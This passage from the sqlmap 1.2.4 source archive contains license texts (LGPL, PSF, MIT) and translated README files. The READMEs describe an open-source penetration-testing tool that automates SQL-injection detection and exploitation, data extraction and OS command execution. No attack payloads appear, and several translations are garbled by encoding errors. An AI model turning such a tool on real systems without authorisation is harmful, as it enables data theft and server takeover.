numerical parameters, data structure layouts and accessors, or small macros, inline functions and templates (ten or fewer lines in length), you do both of the following: a) Give prominent notice with each copy of the object code that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the object code with a copy of the GNU GPL and this license document. 4. Combined Works. You may convey a Combined Work under terms of your choice that, taken together, effectively do not restrict modification of the portions of the Library contained in the Combined Work and reverse engineering for debugging such modifications, if you also do each of the following: a) Give prominent notice with each copy of the Combined Work that the Library is used in it and that the Library and its use are covered by this License. b) Accompany the Combined Work with a copy of the GNU GPL and this license document. c) For a Combined Work that displays copyright notices during execution, include the copyright notice for the Library among these notices, as well as a reference directing the user to the copies of the GNU GPL and this license document. d) Do one of the following: 0) Convey the Minimal Corresponding Source under the terms of this License, and the Corresponding Application Code in a form suitable for, and under terms that permit, the user to recombine or relink the Application with a modified version of the Linked Version to produce a modified Combined Work, in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source. 1) Use a suitable shared library mechanism for linking with the Library. A suitable mechanism is one that (a) uses at run time a copy of the Library already present on the user's computer system, and (b) will operate properly with a modified version of the Library that is interface-compatible with the Linked Version. e) Provide Installation Information, but only if you would otherwise be required to provide such information under section 6 of the GNU GPL, and only to the extent that such information is necessary to install and execute a modified version of the Combined Work produced by recombining or relinking the Application with a modified version of the Linked Version. (If you use option 4d0, the Installation Information must accompany the Minimal Corresponding Source and Corresponding Application Code. If you use option 4d1, you must provide the Installation Information in the manner specified by section 6 of the GNU GPL for conveying Corresponding Source.) 5. Combined Libraries. You may place library facilities that are a work based on the Library side by side in a single library together with other library facilities that are not Applications and are not covered by this License, and convey such a combined library under terms of your choice, if you do both of the following: a) Accompany the combined library with a copy of the same work based on the Library, uncombined with any other library facilities, conveyed under the terms of this License. b) Give prominent notice with the combined library that part of it is a work based on the Library, and explaining where to find the accompanying uncombined form of the same work. 6. Revised Versions of the GNU Lesser General Public License. The Free Software Foundation may publish revised and/or new versions of the GNU Lesser General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. Each version is given a distinguishing version number. If the Library as you received it specifies that a certain numbered version of the GNU Lesser General Public License "or any later version" applies to it, you have the option of following the terms and conditions either of that published version or of any later version published by the Free Software Foundation. If the Library as you received it does not specify a version number of the GNU Lesser General Public License, you may choose any version of the GNU Lesser General Public License ever published by the Free Software Foundation. If the Library as you received it specifies that a proxy can decide whether future versions of the GNU Lesser General Public License shall apply, that proxy's public statement of acceptance of any version is permanent authorization for you to choose that version for the Library. ```` # PSF * The Magic library located under thirdparty/magic/. Copyright (C) 2011, Adam Hupp. ```` PSF LICENSE AGREEMENT FOR PYTHON 2.7.3 This LICENSE AGREEMENT is between the Python Software Foundation (“PSFâ€), and the Individual or Organization (“Licenseeâ€) accessing and otherwise using Python 2.7.3 software in source or binary form and its associated documentation. Subject to the terms and conditions of this License Agreement, PSF hereby grants Licensee a nonexclusive, royalty-free, world-wide license to reproduce, analyze, test, perform and/or display publicly, prepare derivative works, distribute, and otherwise use Python 2.7.3 alone or in any derivative version, provided, however, that PSF’s License Agreement and PSF’s notice of copyright, i.e., “Copyright © 2001-2012 Python Software Foundation; All Rights Reserved†are retained in Python 2.7.3 alone or in any derivative version prepared by Licensee. In the event Licensee prepares a derivative work that is based on or incorporates Python 2.7.3 or any part thereof, and wants to make the derivative work available to others as provided herein, then Licensee hereby agrees to include in any such work a brief summary of the changes made to Python 2.7.3. PSF is making Python 2.7.3 available to Licensee on an “AS IS†basis. PSF MAKES NO REPRESENTATIONS OR WARRANTIES, EXPRESS OR IMPLIED. BY WAY OF EXAMPLE, BUT NOT LIMITATION, PSF MAKES NO AND DISCLAIMS ANY REPRESENTATION OR WARRANTY OF MERCHANTABILITY OR FITNESS FOR ANY PARTICULAR PURPOSE OR THAT THE USE OF PYTHON 2.7.3 WILL NOT INFRINGE ANY THIRD PARTY RIGHTS. PSF SHALL NOT BE LIABLE TO LICENSEE OR ANY OTHER USERS OF PYTHON 2.7.3 FOR ANY INCIDENTAL, SPECIAL, OR CONSEQUENTIAL DAMAGES OR LOSS AS A RESULT OF MODIFYING, DISTRIBUTING, OR OTHERWISE USING PYTHON 2.7.3, OR ANY DERIVATIVE THEREOF, EVEN IF ADVISED OF THE POSSIBILITY THEREOF. This License Agreement will automatically terminate upon a material breach of its terms and conditions. Nothing in this License Agreement shall be deemed to create any relationship of agency, partnership, or joint venture between PSF and Licensee. This License Agreement does not grant permission to use PSF trademarks or trade name in a trademark sense to endorse or promote products or services of Licensee, or any third party. By copying, installing or otherwise using Python 2.7.3, Licensee agrees to be bound by the terms and conditions of this License Agreement. ```` # MIT * The bottle web framework library located under thirdparty/bottle/. Copyright (C) 2012, Marcel Hellkamp. * The Termcolor library located under thirdparty/termcolor/. Copyright (C) 2008-2011, Volvox Development Team. ```` Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ```` # Public domain * The PyDes library located under thirdparty/pydes/. Copyleft 2009, Todd Whiteman. * The win_inet_pton library located under thirdparty/wininetpton/. Copyleft 2014, Ryan Vennell. sqlmap-1.2.4/doc/translations/000077500000000000000000000000001326012263700163035ustar00rootroot00000000000000sqlmap-1.2.4/doc/translations/README-bg-BG.md000066400000000000000000000076321326012263700204460ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![Лиценз](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap e инÑтрумент за теÑтване и проникване, Ñ Ð¾Ñ‚Ð²Ð¾Ñ€ÐµÐ½ код, който автоматизира процеÑа на откриване и използване на недоÑтатъците на SQL база данните чрез SQL инжекциÑ, коÑто ги взима от Ñървъра. Снабден е Ñ Ð¼Ð¾Ñ‰ÐµÐ½ детектор, множеÑтво Ñпециални функции за най-Ð´Ð¾Ð±Ñ€Ð¸Ñ Ñ‚ÐµÑтер и широк Ñпектър от функции, които могат да Ñе използват за множеÑтво цели - извличане на данни от базата данни, доÑтъп до оÑновната файлова ÑиÑтема и изпълнÑване на команди на операционната ÑиÑтема. Демо Ñнимки ---- ![Снимка на екрана](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Можете да поÑетите [колекциÑта от Ñнимки на екрана](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots), показващи нÑкои функции, качени на wiki. ИнÑталиране ---- Може да изтеглине най-новите tar архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/tarball/master) или най-новите zip архиви като кликнете [тук](https://github.com/sqlmapproject/sqlmap/zipball/master). За предпочитане е да изтеглите sqlmap като клонирате [Git](https://github.com/sqlmapproject/sqlmap) хранилището: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap работи ÑамоÑтоÑтелно Ñ [Python](http://www.python.org/download/) верÑÐ¸Ñ **2.6.x** и **2.7.x** на вÑички платформи. Използване ---- За да получите ÑпиÑък Ñ Ð¾Ñновните опции използвайте: python sqlmap.py -h За да получите ÑпиÑък Ñ Ð²Ñички опции използвайте: python sqlmap.py -hh Може да намерите пример за използване на sqlmap [тук](https://asciinema.org/a/46601). За да разберете възможноÑтите на sqlmap, ÑпиÑък на поддържаните функции и опиÑание на вÑички опции, заедно Ñ Ð¿Ñ€Ð¸Ð¼ÐµÑ€Ð¸, Ñе препоръчва да Ñе разгледа [упътването](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Връзки ---- * Ðачална Ñтраница: http://sqlmap.org * ИзтеглÑне: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS емиÑиÑ: https://github.com/sqlmapproject/sqlmap/commits/master.atom * ПроÑледÑване на проблеми и въпроÑи: https://github.com/sqlmapproject/sqlmap/issues * Упътване: https://github.com/sqlmapproject/sqlmap/wiki * ЧеÑто задавани въпроÑи (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Демо: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Снимки на екрана: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.2.4/doc/translations/README-es-MX.md000066400000000000000000000064061326012263700205170ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap es una herramienta para pruebas de penetración "penetration testing" de software libre que automatiza el proceso de detección y explotación de fallos mediante inyección de SQL además de tomar el control de servidores de bases de datos. Contiene un poderoso motor de detección, así como muchas de las funcionalidades escenciales para el "pentester" y una amplia gama de opciones desde la recopilación de información para identificar el objetivo conocido como "fingerprinting" mediante la extracción de información de la base de datos, hasta el acceso al sistema de archivos subyacente para ejecutar comandos en el sistema operativo a través de conexiones alternativas conocidas como "Out-of-band". Capturas de Pantalla --- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Visita la [colección de capturas de pantalla](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demuestra algunas de las características en la documentación(wiki). Instalación --- Se puede descargar el "tarball" más actual haciendo clic [aquí](https://github.com/sqlmapproject/sqlmap/tarball/master) o el "zipball" [aquí](https://github.com/sqlmapproject/sqlmap/zipball/master). Preferentemente, se puede descargar sqlmap clonando el repositorio [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap funciona con las siguientes versiones de [Python](http://www.python.org/download/) ** 2.6.x** y ** 2.7.x** en cualquier plataforma. Uso --- Para obtener una lista de opciones básicas: python sqlmap.py -h Para obtener una lista de todas las opciones: python sqlmap.py -hh Se puede encontrar una muestra de su funcionamiento [aquí](https://asciinema.org/a/46601). Para obtener una visión general de las capacidades de sqlmap, así como un listado funciones soportadas y descripción de todas las opciones y modificadores, junto con ejemplos, se recomienda consultar el [manual de usuario](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Enlaces --- * Página principal: http://sqlmap.org * Descargar: [. tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) o [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Fuente de Cambios "Commit RSS feed": https://github.com/sqlmapproject/sqlmap/commits/master.atom * Seguimiento de problemas "Issue tracker": https://github.com/sqlmapproject/sqlmap/issues * Manual de usuario: https://github.com/sqlmapproject/sqlmap/wiki * Preguntas frecuentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demostraciones: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Imágenes: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.2.4/doc/translations/README-fr-FR.md000066400000000000000000000062361326012263700205030ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) **sqlmap** est un outil Open Source de test d'intrusion. Cet outil permet d'automatiser le processus de détection et d'exploitation des failles d'injection SQL afin de prendre le contrôle des serveurs de base de données. __sqlmap__ dispose d'un puissant moteur de détection utilisant les techniques les plus récentes et les plus dévastatrices de tests d'intrusion comme L'Injection SQL, qui permet d'accéder à la base de données, au système de fichiers sous-jacent et permet aussi l'exécution des commandes sur le système d'exploitation. ---- ![Les Captures d'écran](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Les captures d'écran disponible [ici](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) démontrent des fonctionnalités de __sqlmap__. Installation ---- Vous pouvez télécharger le fichier "tarball" le plus récent en cliquant [ici](https://github.com/sqlmapproject/sqlmap/tarball/master). Vous pouvez aussi télécharger l'archive zip la plus récente [ici](https://github.com/sqlmapproject/sqlmap/zipball/master). De préférence, télécharger __sqlmap__ en le [clonant](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap fonctionne sur n'importe quel système d'exploitation avec la version **2.6.x** et **2.7.x** de [Python](http://www.python.org/download/) Utilisation ---- Pour afficher une liste des fonctions de bases et des commutateurs (switches), tapez: python sqlmap.py -h Pour afficher une liste complète des options et des commutateurs (switches), tapez: python sqlmap.py -hh Vous pouvez regarder un vidéo [ici](https://asciinema.org/a/46601) pour plus d'exemples. Pour obtenir un aperçu des ressources de __sqlmap__, une liste des fonctionnalités prises en charge, la description de toutes les options, ainsi que des exemples, nous vous recommandons de consulter [le wiki](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Liens ---- * Page d'acceuil: http://sqlmap.org * Téléchargement: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Suivi des issues: https://github.com/sqlmapproject/sqlmap/issues * Manuel de l'utilisateur: https://github.com/sqlmapproject/sqlmap/wiki * Foire aux questions (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Démonstrations: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Les captures d'écran: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.2.4/doc/translations/README-gr-GR.md000066400000000000000000000100611326012263700204740ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) Το sqlmap είναι Ï€ÏόγÏαμμα Î±Î½Î¿Î¹Ï‡Ï„Î¿Ï ÎºÏŽÎ´Î¹ÎºÎ±, που αυτοματοποιεί την εÏÏεση και εκμετάλλευση ευπαθειών Ï„Ïπου SQL Injection σε βάσεις δεδομένων. ΈÏχεται με μια δυνατή μηχανή αναγνώÏισης ευπαθειών, πολλά εξειδικευμένα χαÏακτηÏιστικά για τον απόλυτο penetration tester όπως και με ένα μεγάλο εÏÏος επιλογών αÏχίζοντας από την αναγνώÏιση της βάσης δεδομένων, κατέβασμα δεδομένων της βάσης, μέχÏι και Ï€Ïόσβαση στο βαθÏτεÏο σÏστημα αÏχείων και εκτέλεση εντολών στο απευθείας στο λειτουÏγικό μέσω εκτός ζώνης συνδέσεων. Εικόνες ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) ΜποÏείτε να επισκεφτείτε τη [συλλογή από εικόνες](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) που επιδεικνÏουν κάποια από τα χαÏακτηÏιστικά. Εγκατάσταση ---- Έχετε τη δυνατότητα να κατεβάσετε την τελευταία tarball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/tarball/master) ή την τελευταία zipball πατώντας [εδώ](https://github.com/sqlmapproject/sqlmap/zipball/master). Κατά Ï€Ïοτίμηση, μποÏείτε να κατεβάσετε το sqlmap κάνοντας κλώνο το [Git](https://github.com/sqlmapproject/sqlmap) αποθετήÏιο: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev Το sqlmap λειτουÏγεί χωÏίς πεÏαιτέÏω κόπο με την [Python](http://www.python.org/download/) έκδοσης **2.6.x** και **2.7.x** σε όποια πλατφόÏμα. ΧÏήση ---- Για να δείτε μια βασική λίστα από επιλογές πατήστε: python sqlmap.py -h Για να πάÏετε μια λίστα από όλες τις επιλογές πατήστε: python sqlmap.py -hh ΜποÏείτε να δείτε ένα δείγμα λειτουÏγίας του Ï€ÏογÏάμματος [εδώ](https://asciinema.org/a/46601). Για μια γενικότεÏη άποψη των δυνατοτήτων του sqlmap, μια λίστα των υποστηÏιζόμενων χαÏακτηÏιστικών και πεÏιγÏαφή για όλες τις επιλογές, μαζί με παÏαδείγματα, καλείστε να συμβουλευτείτε το [εγχειÏίδιο χÏήστη](https://github.com/sqlmapproject/sqlmap/wiki/Usage). ΣÏνδεσμοι ---- * ΑÏχική σελίδα: http://sqlmap.org * Λήψεις: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ή [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom * ΠÏοβλήματα: https://github.com/sqlmapproject/sqlmap/issues * ΕγχειÏίδιο ΧÏήστη: https://github.com/sqlmapproject/sqlmap/wiki * Συχνές ΕÏωτήσεις (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demos: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Εικόνες: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.2.4/doc/translations/README-hr-HR.md000066400000000000000000000060051326012263700205010ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap je alat namijenjen za penetracijsko testiranje koji automatizira proces detekcije i eksploatacije sigurnosnih propusta SQL injekcije te preuzimanje poslužitelja baze podataka. Dolazi s moćnim mehanizmom za detekciju, mnoÅ¡tvom korisnih opcija za napredno penetracijsko testiranje te Å¡iroki spektar opcija od onih za prepoznavanja baze podataka, preko dohvaćanja podataka iz baze, do pristupa zahvaćenom datoteÄnom sustavu i izvrÅ¡avanja komandi na operacijskom sustavu koriÅ¡tenjem tzv. "out-of-band" veza. Slike zaslona ---- ![Slika zaslona](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Možete posjetiti [kolekciju slika zaslona](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) gdje se demonstriraju neke od znaÄajki na wiki stranicama. Instalacija ---- Možete preuzeti zadnji tarball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/tarball/master) ili zadnji zipball klikom [ovdje](https://github.com/sqlmapproject/sqlmap/zipball/master). Po mogućnosti, možete preuzeti sqlmap kloniranjem [Git](https://github.com/sqlmapproject/sqlmap) repozitorija: git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap radi bez posebnih zahtjeva koriÅ¡tenjem [Python](http://www.python.org/download/) verzije **2.6.x** i/ili **2.7.x** na bilo kojoj platformi. KoriÅ¡tenje ---- Kako biste dobili listu osnovnih opcija i prekidaÄa koristite: python sqlmap.py -h Kako biste dobili listu svih opcija i prekidaÄa koristite: python sqlmap.py -hh Možete pronaći primjer izvrÅ¡avanja [ovdje](https://asciinema.org/a/46601). Kako biste dobili pregled mogućnosti sqlmap-a, liste podržanih znaÄajki te opis svih opcija i prekidaÄa, zajedno s primjerima, preporuÄen je uvid u [korisniÄki priruÄnik](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Poveznice ---- * PoÄetna stranica: http://sqlmap.org * Preuzimanje: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ili [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed promjena u kodu: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Prijava problema: https://github.com/sqlmapproject/sqlmap/issues * KorisniÄki priruÄnik: https://github.com/sqlmapproject/sqlmap/wiki * NajÄešće postavljena pitanja (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demo: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Slike zaslona: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.2.4/doc/translations/README-id-ID.md000066400000000000000000000056041326012263700204530ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap merupakan alat _(tool)_ bantu _open source_ dalam melakukan tes penetrasi yang mengotomasi proses deteksi dan eksploitasi kelemahan _SQL injection_ dan pengambil-alihan server basisdata. sqlmap dilengkapi dengan pendeteksi canggih, fitur-fitur hanal bagi _penetration tester_, beragam cara untuk mendeteksi basisdata, hingga mengakses _file system_ dan mengeksekusi perintah dalam sistem operasi melalui koneksi _out-of-band_. Tangkapan Layar ---- ![Tangkapan Layar](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Anda dapat mengunjungi [koleksi tangkapan layar](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) yang mendemonstrasikan beberapa fitur dalam wiki. Instalasi ---- Anda dapat mengunduh tarball versi terbaru [di sini] (https://github.com/sqlmapproject/sqlmap/tarball/master) atau zipball [di sini](https://github.com/sqlmapproject/sqlmap/zipball/master). Sebagai alternatif, Anda dapat mengunduh sqlmap dengan men-_clone_ repositori [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap berfungsi langsung pada [Python](http://www.python.org/download/) versi **2.6.x** dan **2.7.x** pada platform apapun. Penggunaan ---- Untuk mendapatkan daftar opsi dasar gunakan: python sqlmap.py -h Untuk mendapatkan daftar opsi lanjut gunakan: python sqlmap.py -hh Anda dapat mendapatkan contoh penggunaan [di sini](https://asciinema.org/a/46601). Untuk mendapatkan gambaran singkat kemampuan sqlmap, daftar fitur yang didukung, deskripsi dari semua opsi, berikut dengan contohnya, Anda disarankan untuk membaca [Panduan Pengguna](https://github.com/sqlmapproject/sqlmap/wiki/Usage). Tautan ---- * Situs: http://sqlmap.org * Unduh: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) atau [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed dari commits: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Wiki Manual Penggunaan: https://github.com/sqlmapproject/sqlmap/wiki * Pertanyaan yang Sering Ditanyakan (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Video Demo [#1](http://www.youtube.com/user/inquisb/videos) dan [#2](http://www.youtube.com/user/stamparm/videos) * Tangkapan Layar: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.2.4/doc/translations/README-it-IT.md000066400000000000000000000061521326012263700205120ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmap è uno strumento open source per il penetration testing. Il suo scopo è quello di rendere automatico il processo di scoperta ed exploit di vulnerabilità di tipo SQL injection al fine di compromettere database online. Dispone di un potente motore per la ricerca di vulnerabilità, molti strumenti di nicchia anche per il più esperto penetration tester ed un'ampia gamma di controlli che vanno dal fingerprinting di database allo scaricamento di dati, fino all'accesso al file system sottostante e l'esecuzione di comandi nel sistema operativo attraverso connessioni out-of-band. Screenshot ---- ![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) Nella wiki puoi visitare [l'elenco di screenshot](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) che mostrano il funzionamento di alcune delle funzionalità del programma. Installazione ---- Puoi scaricare l'ultima tarball cliccando [qui](https://github.com/sqlmapproject/sqlmap/tarball/master) oppure l'ultima zipball cliccando [qui](https://github.com/sqlmapproject/sqlmap/zipball/master). La cosa migliore sarebbe però scaricare sqlmap clonando la repository [Git](https://github.com/sqlmapproject/sqlmap): git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev sqlmap è in grado di funzionare con le versioni **2.6.x** e **2.7.x** di [Python](http://www.python.org/download/) su ogni piattaforma. Utilizzo ---- Per una lista delle opzioni e dei controlli di base: python sqlmap.py -h Per una lista di tutte le opzioni e di tutti i controlli: python sqlmap.py -hh Puoi trovare un esempio di esecuzione [qui](https://asciinema.org/a/46601). Per una panoramica delle capacità di sqlmap, una lista delle sue funzionalità e la descrizione di tutte le sue opzioni e controlli, insieme ad un gran numero di esempi, siete pregati di visitare lo [user's manual](https://github.com/sqlmapproject/sqlmap/wiki/Usage) (disponibile solo in inglese). Link ---- * Sito: http://sqlmap.org * Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) or [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) * RSS feed dei commit: https://github.com/sqlmapproject/sqlmap/commits/master.atom * Issue tracker: https://github.com/sqlmapproject/sqlmap/issues * Manuale dell'utente: https://github.com/sqlmapproject/sqlmap/wiki * Domande più frequenti (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Dimostrazioni: [http://www.youtube.com/user/inquisb/videos](http://www.youtube.com/user/inquisb/videos) * Screenshot: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots sqlmap-1.2.4/doc/translations/README-ja-JP.md000066400000000000000000000066241326012263700204710ustar00rootroot00000000000000# sqlmap [![Build Status](https://api.travis-ci.org/sqlmapproject/sqlmap.svg?branch=master)](https://api.travis-ci.org/sqlmapproject/sqlmap) [![Python 2.6|2.7](https://img.shields.io/badge/python-2.6|2.7-yellow.svg)](https://www.python.org/) [![License](https://img.shields.io/badge/license-GPLv2-red.svg)](https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/LICENSE) [![Twitter](https://img.shields.io/badge/twitter-@sqlmap-blue.svg)](https://twitter.com/sqlmap) sqlmapã¯ã‚ªãƒ¼ãƒ—ンソースã®ãƒšãƒãƒˆãƒ¬ãƒ¼ã‚·ãƒ§ãƒ³ãƒ†ã‚¹ãƒ†ã‚£ãƒ³ã‚°ãƒ„ールã§ã™ã€‚SQLインジェクションã®è„†å¼±æ€§ã®æ¤œå‡ºã€æ´»ç”¨ã€ãã—ã¦ãƒ‡ãƒ¼ã‚¿ãƒ™ãƒ¼ã‚¹ã‚µãƒ¼ãƒå¥ªå–ã®ãƒ—ロセスを自動化ã—ã¾ã™ã€‚ 